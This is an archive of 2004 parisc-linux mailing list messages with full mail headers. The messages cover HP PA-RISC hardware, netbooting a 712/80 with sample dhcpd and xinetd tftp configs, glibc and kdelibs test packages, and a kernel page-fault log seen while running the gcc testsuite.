To: Matt Lewis <nitephyre@iinet.net.au>
Original-X-From: grundler@lackof.org  Fri Jan  9 13:30:14 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5C2F34855
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jan 2004 13:30:14 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id D7E9D298047; Fri,  9 Jan 2004 13:30:13 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 14472-05; Fri, 9 Jan 2004 13:30:13 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 688A0298034; Fri,  9 Jan 2004 13:30:13 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <002d01c3d693$1f1b3840$0101a8c0@nitephyre>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Jan 2004 20:30:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20599

On Fri, Jan 09, 2004 at 07:29:45PM +1000, Matt Lewis wrote:
> http://cgi.ebay.com.au/ws/eBayISAPI.dll?ViewItem&item=3070354300&category=11221
> 
> is that one that would work?

no.
You c3k only has PCI slots in it.
Search the parisc-linux mail archive (lists.parisc-linux.org)
for references to Vis-EG and a part number will surely pop up.

grant


From - Thu Nov 08 21:30:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Status] hppa's userspace in 2004 (looking back)
Date: Fri, 09 Jan 2004 20:37:07 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <3FFF10F3.2060408__40505.6951837198$1416623119$gmane$org@tiscali.be>
References: <3FFB28C900001026@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623119 4433 80.91.229.3 (22 Nov 2014 02:25:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Fri Jan  9 13:35:36 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id EEC6A4855
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jan 2004 13:35:35 -0700 (MST)
Original-Received: from [62.235.120.220] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Af3Ly-00059P-Ut; Fri, 09 Jan 2004 21:35:35 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <3FFB28C900001026@ocpmta1.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Jan 2004 20:35:36 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20600

Joel Soete wrote:
[snip]
> (but I don't much retry because of gnu pserver cvs pb; in the mean time I
> read that new anonymous access would be with ssh, even though last weekend
> it was not yet operational?) 
[snip]

CVSROOT=":ext:anoncvs@subversions.gnu.org:/cvsroot/gcc"

seems to be operational now with CVS_RSH="ssh"

hth,
	Joel



From - Thu Nov 08 21:30:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian Barber" <brianbarber@myrealbox.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Installing Debian on an 712/80
Date: Fri, 09 Jan 2004 16:12:14 -0500
Lines: 115
Approved: news@gmane.org
Message-ID: <1073682734.9d6492c0brianbarber@myrealbox.com>
Reply-To: brianbarber@linux.ca
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623119 4436 80.91.229.3 (22 Nov 2014 02:25:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:19 +0000 (UTC)
Cc: willy@debian.org, hppa@fop.ns.ca
To: parisc-linux@parisc-linux.org
Original-X-From: brianbarber@myrealbox.com  Fri Jan  9 14:12:17 2004
Return-Path: <brianbarber@myrealbox.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-send.myrealbox.com (smtp-send.myrealbox.com
	[192.108.102.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id 039A64855
	for <parisc-linux@parisc-linux.org>;
	Fri,  9 Jan 2004 14:12:17 -0700 (MST)
Original-Received: from brianbarber [198.103.249.251] by myrealbox.com
	with NetMail ModWeb Module; Fri, 09 Jan 2004 16:12:14 -0500
X-Mailer: NetMail ModWeb Module
X-Sender: brianbarber
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Jan 2004 21:12:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20601

Good news (for me, that is).  A colleague here at work located an older ext=
ernal Sun CDROM, which I believe supports 512k byte segments.  I'll try a=
n install with it this weekend and send an update when I'm successful. (N=
ote the optimism)

Have a good weekend, everyone.

BB

-----Original Message-----
From: Steve Bromwich <hppa@fop.ns.ca>
To: Matthew Wilcox <willy@debian.org>
Date: Thu, 1 Jan 2004 18:13:13 -0400 (AST)
Subject: Re: [parisc-linux] Re: Installing Debian on an 712/80

On Thu, 1 Jan 2004, Matthew Wilcox wrote:

> On Tue, Dec 23, 2003 at 10:20:01AM -0500, Brian Barber wrote:
>
> > I've done some more digging and come up with the following obstacles:
> > 1) HP machines require active SCSI termination, hence the reason why I =
could not boot from my (borrowed) external SCSI CD-ROM (passive terminato=
r only)
>
> I'm not sure that's true, but they do require certain CD drives to
> boot from.  I forget the details; something to do with 2k vs 512 byte
> sector sizes.

The industry standard (ie, IBM PC world) is 2048 byte sectors, whereas HP
(and Sun) use 512 byte sectors. If you don't have a drive that supports
512 byte sectors, you won't get anywhere. See the post I made (and
subsequent informative posts from others) at
http://lists.parisc-linux.org/pipermail/parisc-linux/2003-November/021645.h=
tml
for more details.

> > If I am correct (jump in here), I am left with bootp/tftp as the only
> > means of booting the machine.  If I take this route, I copy lifimage
> > to the boot directory of my tftp server.  This is where I am stuck.
> > There is no documentation I can find (or discern) that walks one throug=
h
> > an install from a tftp-booted machine.  Is there a way for me to mount
> > the Debain CD via nfs and launch the installer from there?

When you boot via tftp you still need a way to communicate with the box,
either using a keyboard and monitor, or (more commonly) via serial
console. Is this the answer to the question you're asking?

Alternatively, when you boot the lifimage I *think* you get the option of
installing from pre-mounted directory (somewhat useless via serial console
- I don't think there's any way to get a shell prompt to premount a
directory), NFS, HTTP or FTP - ie, the usual Debian install methodology. I
suspect your best bet is over NFS.

> I'd like to just point you at the boot HOWTO [1], but it doesn't seem
> to cover this step.  It only covers booting the kernel, not setting up
> your NFS root.  I've had mixed success with using debootstrap to populate
> a minimal nfsroot, then updating to sid and installing new packages.

One thing I noticed is that the config given is using inetd (I use xinetd)
and appears to be using the "standard" tftp, rather than hpa's tftpd. I
recently set up a diskless J200 (imaginatively named "j200"), the config I
used on the server is as follows:

dhcpd.conf:

allow bootp;
option domain-name "fop.ns.ca";
option domain-name-servers 10.2.1.10;
option log-servers 10.2.1.10;
authoritative;
use-host-decl-names on;

host j200 {
  hardware ethernet 08:00:09:8c:d1:41;
  filename "lifimage";
  server-name "10.2.1.10";
  fixed-address 10.2.1.21;
  option subnet-mask 255.255.255.0;
  option broadcast-address 10.2.1.255;
  option routers 10.2.1.200;
  option domain-name "fop.ns.ca";
  option root-path "10.2.1.21:/j200";
}


xinetd.conf:

service tftp
{
       socket_type     =3D dgram
       protocol        =3D udp
       wait            =3D yes
       user            =3D root
       #server         =3D /usr/sbin/tcpd
       #server_args    =3D /usr/sbin/in.tftpd /tftpboot
       server          =3D /usr/sbin/in.tftpd
       server_args     =3D -v -s /tftpboot
       disable         =3D no
}


One tip I noticed is it takes a dog's age to boot with serial console set
to 9600. If you're going to do a serial console, I'd recommend upping the
rate to 19200.

I'm off to Boston tomorrow for a week and a half, but if you're still
having troubles when I get back I can fire up the J200 and write up a
step-by-step if it'd help.

Cheers, Steve





From - Thu Nov 08 21:30:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Sat, 10 Jan 2004 21:09:06 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20040111040906.GA32382__10656.6773182296$1416623120$gmane$org@colo.lackof.org>
References: <20040105194809.GA9269@systemhalted>
	<20040105194839.GB9269@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623120 4437 80.91.229.3 (22 Nov 2014 02:25:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: grundler@lackof.org  Sat Jan 10 21:09:08 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33CBE4843
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Jan 2004 21:09:08 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 61ACA29804A; Sat, 10 Jan 2004 21:09:07 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 32535-06; Sat, 10 Jan 2004 21:09:06 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id CCAFD298048; Sat, 10 Jan 2004 21:09:06 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040105194839.GB9269@systemhalted>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 11 Jan 2004 04:09:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20602

On Mon, Jan 05, 2004 at 02:48:39PM -0500, Carlos O'Donell wrote:
> http://www.parisc-linux.org/~carlos/glibc-2.3.2-debs-2004-01-05/

I finally installed these (libc6 and libc6-dev) and live is still good.
thanks carlos!

hth,
grant


From - Thu Nov 08 21:30:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: KDE and sarge (dcopserver?)
Date: Sat, 10 Jan 2004 21:51:56 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20040111045156.GA383__31490.7328495339$1416623120$gmane$org@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623120 4441 80.91.229.3 (22 Nov 2014 02:25:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Damien <Damien@cetic.be>
Original-X-From: grundler@lackof.org  Sat Jan 10 21:51:58 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 54DDD4843
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Jan 2004 21:51:58 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id B2A4B29804B; Sat, 10 Jan 2004 21:51:57 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 00528-03; Sat, 10 Jan 2004 21:51:57 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 01CF529804A; Sat, 10 Jan 2004 21:51:56 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 11 Jan 2004 04:51:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20603

References: <20040109151436.51FB54E8F8@mailhost.cetic.be>
In-Reply-To: <20040109151436.51FB54E8F8@mailhost.cetic.be>

Damien,
My apologies.
I was hunting through parisc-linux mail archives for something else and
noticed Helge Deller did NOT post his patch to parisc-linux mailing list:

	Subject: [PATCH] fix KJS crash on some more strict platforms
	Date: Tuesday 16 December 2003 22:08
	To: kde-core-devel@kde.org

I've dropped Helge's patch and rebuilt kdelibs packages here:
	http://www.parisc-linux.org/~grundler/kdelibs-3.1.4/

The official fix is slightly different but this works.
I've installed kdelibs4, kdelibs-bin, and kdelibs-data from the above
and konqueror is again working on my c3k (32-bit 2.6.0-pa7, sarge).
Might only need to install kdelibs4 and the not others.

This patch also suggested the kernel LDD misaligned trap handler wasn't
working correctly. Lamont Jones fixed with this checkin (2.4.23-pa5 IIRC):
	http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2003-December/033645.html

hth,
grant


From - Thu Nov 08 21:30:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] running gcc testsuite triggers ongoing page faults
Date: Sun, 11 Jan 2004 10:16:27 +0100
Lines: 82
Approved: news@gmane.org
Message-ID: <16385.5227.153358.397944__16535.7492784553$1416623120$gmane$org@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623120 4445 80.91.229.3 (22 Nov 2014 02:25:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: doko@cs.tu-berlin.de  Sun Jan 11 02:17:07 2004
Return-Path: <doko@cs.tu-berlin.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id A94EE4843
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jan 2004 02:17:06 -0700 (MST)
Original-Received: from bolero.cs.tu-berlin.de (doko@bolero.cs.tu-berlin.de
	[130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id KAA22161;
	Sun, 11 Jan 2004 10:16:27 +0100 (MET)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.12.10+Sun/8.12.8/Submit) id i0B9GRPp022950;
	Sun, 11 Jan 2004 10:16:27 +0100 (MET)
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 11 Jan 2004 09:17:07 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20604

I think I did see this first with gcc-3.3 from 20031229. Running the
3.3 testsuite (gcc) doesn't terminate. Instead, I see expect eating
all CPU time, together with syslogd and klogd. /var get's filled with
log messages in kern.log, syslog and debug.

The machine is a A500, kernel from the archives (kernel-image-2.4.21-64-smp_pa7.3)


Jan 11 06:42:49 pampa kernel: do_page_fault() pid=13367 command='expect' type=15 address=0x4abfccfe
Jan 11 06:42:49 pampa kernel: vm_start = 0x40353000, vm_end = 0x40355000
Jan 11 06:42:49 pampa kernel: 
Jan 11 06:42:49 pampa kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Jan 11 06:42:49 pampa kernel: PSW: 00000000000001001111111100001111 Not tainted
Jan 11 06:42:49 pampa kernel: r00-03  0000000000000000 0000000040336510 000000004033655c fffffffffffffffa
Jan 11 06:42:49 pampa kernel: r04-07  0000000040336570 0000000000001008 0000000000001002 0000000000000063
Jan 11 06:42:49 pampa kernel: r08-11  0000000000021148 0000000000207a8c 0000000000000006 0000000000005438
Jan 11 06:42:49 pampa kernel: r12-15  0000000040050a6c 0000000040050a78 0000000000021618 0000000000000001
Jan 11 06:42:49 pampa kernel: r16-19  0000000000000000 0000000000000001 0000000000000000 00000000403349c8
Jan 11 06:42:49 pampa kernel: r20-23  0000000000207bb8 00000ab50a94d694 00000000402af66a 00000000002067a8
Jan 11 06:42:49 pampa kernel: r24-27  00000000400a8ec2 000lt() pid=13367 command='expect' type=15 address=0x4abfccfe
Jan 11 06:42:49 pampa kernel: vm_start = 0x40353000, vm_end = 0x40355000
Jan 11 06:42:49 pampa kernel: 
Jan 11 06:42:49 pampa kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Jan 11 06:42:49 pampa kernel: PSW: 00000000000001001111111100001111 Not tainted
Jan 11 06:42:49 pampa kernel: r00-03  0000000000000000 0000000040336510 000000004033655c fffffffffffffffa
Jan 11 06:42:49 pampa kernel: r04-07  0000000040336570 0000000000001008 0000000000001002 0000000000000063
Jan 11 06:42:49 pampa kernel: r08-11  0000000000021148 0000000000207a8c 0000000000000006 0000000000005438
Jan 11 06:42:49 pampa kernel: r12-15  0000000040050a6c 0000000040050a78 0000000000021618 0000000000000001
Jan 11 06:42:49 pampa kernel: r16-19  0000000000000000 0000000000000001 0000000000000000 00000000403349c8
Jan 11 06:42:49 pampa kernel: r20-23  0000000000207bb8 00000ab50a94d694 00000000402af66a 00000000002067a8
Jan 11 06:42:49 pampa kernel: r24-27  00000000400a8ec2 00000ab50a94d690 00000ab50a94d694 0000000000020dd4
Jan 11 06:42:49 pampa kernel: r28-31  00000ab54abfccfa 0000000040336584 00000000faf06a80 0000000000000004
Jan 11 06:42:49 pampa kernel: sr0-3   0000000000d28480 0000000000d28480 0000000000000000 0000000000d28480
Jan 11 06:42:49 pampa kernel: sr4-7   0000000000d28480 0000000000d28480 0000000000d28480 0000000000d28480
Jan 11 06:42:49 pampa kernel: 
Jan 11 06:42:49 pampa kernel: IASQ: 0000000000d28480 0000000000d28480 IAOQ: 0000000040259043 0000000040259047
Jan 11 06:42:49 pampa kernel:  IIR: 0f881094    ISR: 0000000000d28480  IOR: 000000004abfccfe
Jan 11 06:42:49 pampa kernel:  CPU:        1   CR30: 0000000018f5c000 CR31: 0000000000008020
Jan 11 06:42:49 pampa kernel:  ORIG_R28: 00000ab54abfccfa
Jan 11 06:42:49 pampa kernel: 
Jan 11 06:42:49 pampa kernel: do_page_fault() pid=13367 command='expect' type=15 address=0x4abfccfe
Jan 11 06:42:49 pampa kernel: vm_start = 0x40353000, vm_end = 0x40355000
Jan 11 06:42:49 pampa kernel: 
Jan 11 06:42:49 pampa kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Jan 11 06:42:49 pampa kernel: PSW: 00000000000001001111111100001111 Not tainted
Jan 11 06:42:49 pampa kernel: r00-03  0000000000000000 0000000040336510 000000004033655c fffffffffffffffa
Jan 11 06:42:49 pampa kernel: r04-07  0000000040336570 0000000000001008 0000000000001002 0000000000000063
Jan 11 06:42:49 pampa kernel: r08-11  0000000000021148 0000000000207a8c 0000000000000006 0000000000005438
Jan 11 06:42:49 pampa kernel: r12-15  0000000040050a6c 0000000040050a78 0000000000021618 0000000000000001
Jan 11 06:42:49 pampa kernel: r16-19  0000000000000000 0000000000000001 0000000000000000 00000000403349c8
Jan 11 06:42:49 pampa kernel: r20-23  0000000000207bb8 00000ab50a94d694 00000000402af66a 00000000002067a8
Jan 11 06:42:49 pampa kernel: r24-27  00000000400a8ec2 00000ab50a94d690 00000ab50a94d694 0000000000020dd4
Jan 11 06:42:49 pampa kernel: r28-31  00000ab54abfccfa 0000000040336584 00000000faf06a80 0000000000000004
Jan 11 06:42:49 pampa kernel: sr0-3   0000000000d28480 0000000000d28480 0000000000000000 0000000000d28480
Jan 11 06:42:49 pampa kernel: sr4-7   0000000000d28480 0000000000d28480 0000000000d28480 0000000000d28480
Jan 11 06:42:49 pampa kernel: 
Jan 11 06:42:49 pampa kernel: IASQ: 0000000000d28480 0000000000d28480 IAOQ: 0000000040259043 0000000040259047
Jan 11 06:42:49 pampa kernel:  IIR: 0f881094    ISR: 0000000000d28480  IOR: 000000004abfccfe
Jan 11 06:42:49 pampa kernel:  CPU:        1   CR30: 0000000018f5c000 CR31: 0000000000008020
Jan 11 06:42:49 pampa kernel:  ORIG_R28: 00000ab54abfccfa
Jan 11 06:42:49 pampa kernel: 
Jan 11 06:42:49 pampa kernel: do_page_fault() pid=13367 command='expect' type=15 address=0x4abfccfe
Jan 11 06:42:49 pampa kernel: vm_start = 0x40353000, vm_end = 0x40355000
Jan 11 06:42:49 pampa kernel: 
Jan 11 06:42:49 pampa kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Jan 11 06:42:49 pampa kernel: PSW: 00000000000001001111111100001111 Not tainted
Jan 11 06:42:49 pampa kernel: r00-03  0000000000000000 0000000040336510 000000004033655c fffffffffffffffa
Jan 11 06:42:49 pampa kernel: r04-07  0000000040336570 0000000000001008 0000000000001002 0000000000000063
Jan 11 06:42:49 pampa kernel: r08-11  0000000000021148 0000000000207a8c 0000000000000006 0000000000005438
Jan 11 06:42:49 pampa kernel: r12-15  0000000040050a6c 0000000040050a78 0000000000021618 0000000000000001
Jan 11 06:42:49 pampa kernel: r16-19  0000000000000000 0000000000000001 0000000000000000 00000000403349c8
Jan 11 06:42:49 pampa kernel: r20-23  0000000000207bb8 00000ab50a94d694 00000000402af66a 00000000002067a8
Jan 11 06:42:49 pampa kernel: r24-27  00000000400a8ec2 00000ab50a94d690 00000ab50a94d694 0000000000020dd4
Jan 11 06:42:49 pampa kernel: r28-31  00000ab54abfccfa 0000000040336584 00000000faf06a80 0000000000000004
Jan 11 06:42:49 pampa kernel: sr0-3   0000000000d28480 0000000000d28480 0000000000000000 0000000000d28480
Jan 11 06:42:49 pampa kernel: sr4-7   0000000000d28480 0000000000d28480 0000000000d28480 0000000000d28480
Jan 11 06:42:49 pampa kernel: 
Jan 11 06:42:49 pampa kernel: IASQ: 0000000000d28480 0000000000d28480 IAOQ: 0000000040259043 0000000040259047
Jan 11 06:42:49 pampa kernel:  IIR: 0f881094    ISR: 0000000000d28480  IOR: 000000004abfccfe
Jan 11 06:42:49 pampa kernel:  CPU:        1   CR30: 0000000018f5c000 CR31: 0000000000008020
Jan 11 06:42:49 pampa kernel:  ORIG_R28: 00000ab54abfccfa


From - Thu Nov 08 21:30:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] running gcc testsuite triggers ongoing page faults
Date: Sun, 11 Jan 2004 02:08:53 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20040111100853.GF533__41880.2365813919$1416623120$gmane$org@tausq.org>
References: <16385.5227.153358.397944@gargle.gargle.HOWL>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623120 4446 80.91.229.3 (22 Nov 2014 02:25:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: randolph@tausq.org  Sun Jan 11 02:20:50 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48A264843
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jan 2004 02:20:50 -0700 (MST)
